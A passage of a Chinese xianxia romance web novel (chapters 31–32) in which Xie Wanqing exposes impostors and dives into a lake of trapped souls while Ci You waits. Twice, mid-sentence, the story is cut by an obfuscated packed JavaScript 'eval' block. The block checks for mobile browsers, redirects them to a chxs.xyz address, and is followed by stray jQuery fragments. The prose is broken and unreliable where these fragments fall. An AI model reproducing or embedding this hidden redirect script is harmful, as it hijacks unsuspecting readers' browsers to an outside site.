说完干脆利落起身下榻,除却他自己能感知到的过快心跳,再无半点异常,再看辞幽,不紧不慢的起身整理衣袍,无论是被他趴在身上睡了一夜,还是方才那几句调情和试探,都没能让这人有任何乱了心神的迹象。 吾乃帝尊,本体为龙。 当日辞幽自报家门的话在脑海中一遍遍回响,谢晚卿若无其事走到桌边,冷静的倒了杯茶。 茶水洒了一身,杯里一滴没有。 手没抖,心抖,他也说不出是出于什么心理,下意识往榻上看,看到辞幽起身靠近,手上不自觉用力,那壶茶最后全倒他自己身上了。 辞幽在他对面坐下,用眼神示意他往下滴茶水的衣袍,问道:“喜欢茶水沐浴?” 谢晚卿:“……”显着你长嘴了,就你会问。 这种人要是帝尊……他……他要真是帝尊……那可真是造了大孽。 谢晚卿表情一言难尽的换了身衣服,起身时看了桌上的茶壶一遍又一遍,强忍着想把那玩意砸在辞幽脸上的冲动,咬着后槽牙出了门。 走出几步回头看向宫殿大门上的牌匾,依旧一片空白。 若他没记错,帝尊的住处叫帝宫。 辞幽顺着他的目光看过去,“要题字取名么?” “既然是本尊男宠,你的住处就叫谢府,还用题什么字。”谢晚卿勾住他垂在身侧的手,只勾一根食指,不太正经的在指腹挠了挠,“出嫁从夫,你是不是也该叫谢幽?” “听着好像有些别扭,那不如叫谢游?游山玩水的游。” 最后一个字落下,被他勾勾绕绕的食指明显僵了一瞬。 谢晚卿直觉是最后这句话让辞幽有了这种反应,但不知道关窍在哪里,是谢游这个名字,还是游山玩水的游? 不等他细想,作乱的指节突然被按住,辞幽指尖按着他食指第一个指节,不轻不重的捏了捏,寒风吹落的雪花不偏不倚落在肌肤交叠处。 昨夜借来驱寒的灵力刚好消耗殆尽,谢晚卿被这雪花冰了一下,低头看过去,分不清是谁的体温将雪花化开,留下那点湿痕平白多了些烫。 雪白的大氅落在肩上,风雪被挡在大氅外,随之落下的还有一声轻笑,“多谢夫人赐名。” 31.第 31 章 老不正经似乎转了性。 谢晚卿拢着大氅走到半山腰才反应过来,这老龙无情无欲,但好像越来越能撩了,从前搂搂抱抱的肢体接触引了他反感,他明里暗里给辞幽捅了不少软刀子,最近那些不规矩就都没了。 只嘴上闷骚两句,手上规矩得很。 他心里堆着事,但踏出雪山便不想了,是不是帝尊都不能耽误他干正事。 “尊主,这几日新来的道侣都在这了。”宁烈带人等在山下,见他露面便让人带来五花大绑的一群人。 男人捆着扔在地上,女人捆在椅子上个个陷入梦魇,对外界毫无感知,冷汗顺着鬓发往下淌,俨然是惊惧过度。 谢晚卿把那二十多个美人打量一遍,意味不明的笑笑,“看着眼熟。” “有几个是城主府摘花酿酒的。”宁烈一说,手下便有魔把那几人推出来,他挨个确认一遍才把手中名单递给谢晚卿,“属下做了标记。” 名单是进了城主府便派人打探整理的,把这些酿酒的美人名字出身都记得清清楚楚,一共三十余人,如今对得上的只有八个,且都是二八年华,根骨不佳,只勉强引气筑基。 “差了一对,林栖和洛启明呢?” 众人被问得面面相觑,云华和无沉赶来也纷纷摇头说没见过,根本没进来。 谢晚卿没再多问,拿出把玉骨扇在手中把玩,另一只手送到宁烈面前,宁烈一愣,不等开口询问尊主有何吩咐,猛地瞪大双眼。 玉骨扇穿心而过,却不见血滴,宁烈胸口空了一块,整个人化作细碎白光消散,头顶本就阴着的天空越发阴沉。 “他是假的?!”站在宁烈身侧的无沉心有余悸,“你怎么知道他是假的?我今早一直跟他待在一起。” “本尊给宁烈下了死令,驴在人在,他没带着驴过来,本尊伸手他也不知道心虚上交灵石认罚。”谢晚卿嘴角勾着满意的弧度,“去找那头驴,驴在哪,真正的宁烈就在哪,林栖和洛启明应该也在。” 小世界的主人要动真格的了,他躲了半个月,给足了那人布局的时间,如今这些人里谁都有可能是假的,只有他跟辞幽一定是真。 “你们带人分头去找。” 谢晚卿看着无沉和云华,语气严肃,“只找人,不到万不得已别动手,记住本尊出门前怎么教的了吗?” 两人点点头,异口同声,“坏了什么事都不要紧,命最要紧。” “嗯,去吧。” 他说的不只是无沉和云华,命最要紧还包括带来的所有魔族性命,辞幽站在他身后一步远的位置,眼中多了些不赞同。 谢晚卿回头便看清了他的眼神,玉骨扇在他肩上搭了搭,“怎么了?” “留条退路。”辞幽嗓音比往日沉了些,“给你自己留。” 在神器创造的小世界里,想带所有人全身而退无异于痴人说梦,魔族他要管,妖族也要顺手救,他把责任揽得太满了,那些难以实现的,都得靠他自己拿命去拼。 或许旁人都看不出他要做什么,但辞幽看得明白,他拿命赌魔族前程,疯得太出格了。 “我没留退路吗?”玉骨扇从肩头划到侧颈,谢晚卿不轻不重往他侧颈上戳,手法暧昧的一路往上,虚虚的挑起下巴,“辞幽,我没留退路吗?” 是挑衅,也是调情,上扬着眼尾语调懒散,就这么与他对视,等他回答。 辞幽沉默片刻,眸光似妥协也似无奈,失笑道:“留了。” “在哪呢?”谢晚卿缓缓凑近,在两人呼吸快要交缠时堪堪停住,尾音拖得老长。 辞幽眼底笑意渐深,“在这。” 挑着下巴的折扇抽离,温热柔软取代玉骨冰凉,一触即分,喷洒在侧颈的呼吸都在这突如其来的吻中分不到半点注意。 谢晚卿若无其事退开,方才蛊惑人心的笑只剩满满的恶趣味,顶着男人追逐他唇瓣的目光慢慢悠悠吐出两个字,“谢礼。” 说完转身就走,背影都透着一股子骗完就翻脸的恶劣。 他的利用不加掩饰,那一点甜头也给得敷衍,不见得真信了这条退路会在生死之际救下自己,却非要这么玩,明晃晃告诉你愿者上钩。 辞幽愣神许久才屈指用骨节摩挲两下被他吻过的位置,喉间溢出声低笑,“猜来猜去倒是把胆子猜得越发大了。” 一百余人搜了四个时辰,找到那头驴时水面只剩下驴头和脖子了,再晚一会儿整头驴都得被水没过。 感受不到活物气息,只能靠肉眼看,连整片湖水和水中小榭都无法用神识感知,驴就栓在小榭的柱子上,张着嘴发不出声音。 “主子,我带人过去。”云华要下水,谢晚卿抬臂把人拦住,“都往后退。” 铺天盖地的魔气笼罩整个水榭,谢晚卿站在水边面色凝重,见那水榭无法被魔气侵入,眉头又皱了几分。 “这是什么?”从未见过有魔气无法侵入的地方,无沉疑惑打量,“法器?还是阵法?” 谢晚卿沉默不语,辞幽在旁给了答案,“神魂。” 多年来小世界中为夫君飞升而死的女人,神魂都被拘在此处,融入到一砖一瓦中筑成水榭,做了铜墙铁壁。 想进去就得打散神魂,使其魂飞魄散永世不入轮回,此法太过阴毒。 不是破不开,是太好破开,却无法动手,伤及无辜良心难安,有损道心。 “轰隆!” 天边炸雷冲破乌云,水榭上空雷劫汇聚,越发印证谢晚卿的猜想,洛启明和林栖已经进来了,即将杀林栖渡劫飞升。 快要来不及了,宁烈还在里面,要是不救必定葬身雷劫,无沉心急如焚,“我来吧,这恶人我来做,我不怕道心被……” “有本尊在,轮不到你。”谢晚卿冷声打断。 没人看清他的步子,穿梭人群中几息之间便站回原地,胸口透出白光的魔和“宁烈”一样消散,百余人只剩不到二十,其余竟都是假的。 谢晚卿收了玉骨扇朝身侧伸手,“云华,名册。” 云华拿出一本名册照着剩下的人勾勾画画,不过片刻便交到他手中,“主子,标记出来的是现在还在的,宁烈带来的人都在上面。” “回桃林等着,出了任何事都不能踏出一步,看好小桃花。” 谢晚卿把名册收入怀中,回到水边顿了顿,又转头看向辞幽,嘴角微扬,“走了,退路。” 说完跃入水中,眨眼便没了踪影。 “谢……娘!” “主子!” 无沉和云华要追,一道结界挡在岸边不允,辞幽神色淡淡,“他入迷境破局,等着。” “那他什么时候回来?” “谁说他一定能回来?” 一阵长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825384|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久的沉默,云华面色发白,无沉强挤出一抹笑,“你……你故意的吧?就因为我拦着他跟你在一起?他从来没有做不成的事,你再怎么跟我不对付也不至于这么咒他……” “咒他死么?是人就都会死。”辞幽语气平静,平静到近乎残忍的揭穿谢晚卿不愿透露给他们的真相,“若不必护着你们,他完全可以给自己选一条生路,无需拼命涉险,如今要九死一生,是他心太软,也是你们太弱。” 跟着谢晚卿这么久,辞幽看了太多魔族对谢晚卿的盲目崇拜。 谢晚卿无所不能,没有谢晚卿办不到的事……旁人倒也罢了,无沉这个少主竟也如此觉得,只会听令行事,离开谢晚卿便活不成了一般。 魔族又不是谢晚卿一人的魔族,谢晚卿有野心不假,可魔族也是为了活命,没道理万千重担都压在一人身上,辞幽平日话不多,但今日谢晚卿不在,许多话他若不趁机说出来,谢晚卿怕是一辈子也不会说给这些人听。 “他在你这个年纪,没有义父,没有娘,无人为他步步为营护他长大,教他什么该做什么不该做。” “你一味依赖于他,他心软不忍苛责,便要如今日这般孤身犯险,连条退路都留不得。” 无沉僵在原地红了眼,嘴唇颤抖着想说些什么,辞幽仿佛看不到一般,走到水边背对众人沉声道:“带人退回桃林,吾去寻他。” 有心之人不必多教,今日他言尽于此,若无沉还把自己当小孩,只会依赖崇拜谢晚卿,他自会动手替谢晚卿好生管教这不成器的义子。 “我会努力学护着他。” 无沉头一回跟他这个“野男人”说话这么没底气,在他身后郑重行了一礼,“求你……求你把他带回来,我知道你是心疼他才会说这些,你肯定会把他好好带回来的对吗?” “会。” “多谢!”无沉腰弯得更低了,“多谢……小爹。” 辞幽迈入水中的脚步一顿,回头欲言又止。 “小爹不对吗?那我叫你……”思索一番试探道:“小娘?” 辞幽:“……” “你喜欢哪个称呼?你说我就改,只要你把他好好带回来,以后你就是正宫,帝尊才是野男人!” 帝尊本人看他的眼神越发复杂。 孩子倒是好孩子,不至于朽木不可雕,就是这脑子……时隐时现。 云华都实在看不下去自家少主的木头脑子了,偷偷推了他一把悄声道:“少主,叫爹。” 无沉恍然大悟,“对对对,爹,你也是爹,你那个长命锁都给过了,爹果然有先见之明,从前是我瞎了眼,分不清谁是野男人谁是正宫。” 说着又是一礼,越发虔诚恭敬。 “有劳爹把他带回来,日后我定勤奋刻苦,偶尔爹不在他身侧,我一人也可护他安好,百般孝顺听话,对爹娘皆是如此,若你们吵架冷战,我必帮爹去说好话。” 这变脸的绝技简直跟谢晚卿如出一辙,若不是知道他是义子,辞幽都要怀疑他是谢晚卿亲生的了。 但不得不承认有些话他说得挺妥帖,比如会帮忙说说好话。 辞幽微微颔首,离开前一本正经嘱咐道:“今日之事莫要说与他听。” 无沉:“……” 训我两句还怕谢晚卿收拾你? 你这爹到底上没上位啊?怎么这么怂。 32.帝尊掉马 湖水包裹全身,那种穿透灵力的阴冷几乎要渗入神魂,谢晚卿放任自己在水中不断下沉,再一次体会到了异世之魂格外畏寒的威力。 他这个便宜炮灰似乎格外不受修真界欢迎,寒意彻骨之中神魂也跟着不安稳,隐隐有整个人在被撕裂的感觉。 “夫君。” “夫君你回来了。” “为什么……夫君你骗我……” 四面八方不断传来陌生的女声,甜蜜幸福有之,撕心裂肺也不少,越靠近湖底这些声音越飘忽,最后只剩下哭声。 凄婉哀怨的哭声和灵力抵抗不住的阴冷掺杂在一起,此刻都成了锋利的剑刃,一剑一剑捅向他的神魂,最后化作冰雪逐渐覆盖全身,远远看去如同水中多了座冰雕。 “飞升……等你……在……不会死……” 好像还有个断断续续听不清的男声? 谢晚卿猛地睁眼,湖心水榭的阴影就在上方,他沉在湖底动弹不得,却能看清那水榭的阴影中密密麻麻皆是被束缚的神魂。 刹那间奔溃的、不甘的、怨恨的哭声喊声疯狂涌入耳中,逼得他不得不再次封闭五感,把那些声音在脑海中回想一遍,却怎么也没找出其中的男声,仿佛是他冻出了幻觉。 陷入迷境的最后一刻,谢晚卿躺在湖底叹了口气。 希望退路能靠谱点,不指望真帮忙,至少别为了飞升背后给他一剑,好歹也是亲过一口的关系了。 水榭的阴影阵阵动荡,万千破损后被镇压的神魂争先恐后缠住“冰雕”,这具五感尽封自愿做容器的身体成了她们挣脱束缚的希望。 谢晚卿再有意识时已经分不清身处何地了,眼前景象快速变幻,皆是他未曾见过的,旁人美好记忆的诞生处。 每时每刻都有红颜在那景象中化作枯骨,太多人的记忆一股脑塞给他,神魂被撕裂的疼痛不断加剧,再强悍的容器也扛不住这么填充。 晶莹剔透的冰雕中浮现血丝,泼墨作画一般向周围晕染,寒冰封不住血腥,那味道引得湖中神魂愈发疯狂,冰雕之外裹了一层又一层没来得及闯入容器的神魂,汇聚成大片黑雾铺在湖底,诡异又阴森。 “渡魂……”辞幽拧眉看着这一幕,眸色比黑雾还暗。 以身做容器超渡神魂,快是快,对自身伤害却极大,他想帮谢晚卿都帮不得,渡魂之人受了打扰稍有不慎便会被反噬夺舍。 破局之法那么多,谢晚卿偏偏选了个最凶险的,这人谁都想护着,唯独拿他自己的命不当命,怕是要活生生把人气死。 辞幽面沉如水,忍了又忍才压下些火气,尽量让语气听不出冷意,“停下。” 谁在说话? 眼前一片血色,景物都看不真切了,突然一片女子哭声中突然多出个男声,谢晚卿强忍疼痛打起精神仔细听,那人又没了动静,哭声里陆陆续续掺入些莫名熟悉的嗓音。 “你知道白素贞吗?白素贞就是一条白蛇,大蛇妖,不知道有没有你这么长。” 很稚嫩的声音,像是个活泼的少年,谢晚卿直觉自己一定听过,很久很久之前听过这个声音,只是不知在哪听的。 眼前血色荡开,化作白茫茫的一片,落雪纷飞之中似乎有两人背对他往前走,铺满雪的山路上,白衣墨发的男人领着个短发少年并肩而行。 隔着云雾一般,他看不清,只看轮廓便觉得那该是帝尊,他在幻境中见过的,一样的白衣墨发。 “手炉抱好,晚些时候去汤池泡一泡,可驱寒。” “没有不理你,想要玩什么直说便是,莫要生闷气。” “说话再温柔些?如此语气可算温柔?” 帝尊的语气一直在变,从最初的冷冰冰到融了冰山似的温柔,听不出多热切,却处处都是对那少年的包容宠溺。 这条路似乎永远走不到尽头,走着走着那少年便长大了,从堪堪到帝尊肩头,长到越过下巴,手被帝尊牢牢握在掌心,一刻都不曾被丢下,恍惚间像是过去了很多年。 神魂被撕裂的疼痛更甚,那些哭喊和旁人的记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840974|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都感知不到了,谢晚卿完全是下意识的不断用灵力渡魂,有时候根本不知道自己在动用灵力,手指不自觉颤抖,好像有了自我意识,想要抓住些什么。 一声叹息响在耳边,难得的真切,他甚至听出了那声音主人的无奈,“停下吧,伤及神魂最难将养,谢礼都收了,你停下,退路便在你脚下。” 谢晚卿死死咬着牙,一声痛呼都不肯溢出去,从牙缝中艰难挤出两个字,“辞……幽?” “吾在。” “我好像……”两道背影还在雪中往前走,谢晚卿盯着左侧那人的墨发,呢喃道:“好像……看见你了。” 好像还看见我自己了。 这句话他没说,因为不知道是不是,也不知道该不该说。 无数神魂涌入体内被他超渡,眼中所见与耳中所闻割裂成两部分,一部分是雪中的两个人,一部分是在他耳边与他说话的辞幽。 都说越疼越清醒,可他却疼得要分不清真假虚实了,究竟该相信眼睛,还是该相信耳朵?又或者两个都是假的,是他自己疼出幻觉了? “交给吾,你的神魂受不住了。” 谢晚卿闭了闭眼,“我自己……可以……” 分不清真假就不分,不信就不会上当。 水榭中最后数千神魂也奔向湖底,辞幽低头看向手腕,见那红线隐隐有碎裂之兆,面色彻底冷了下去,然而开口却是无可奈何的轻哄,“谢晚卿,莫要胡闹,听话。” 谢晚卿身体一僵,这是辞幽第一次叫他的名字,声音传到耳边,脑海里也随之响起一句尘封已久的话。 “人族及冠便要取表字,吾为你取晚卿二字,可好?” 风雪消散,云雾渐开,那条永无止境的雪路终于有了尽头,并肩而行的两道身影只剩一人,一头墨发化作白雪,那人回头看向他,赫然是一张与他朝夕相处的脸。 谢晚卿心脏漏了一拍,定了定神放眼望去,山路尽头那座宫殿上,空白的牌匾缓缓浮现两个字—— 帝宫。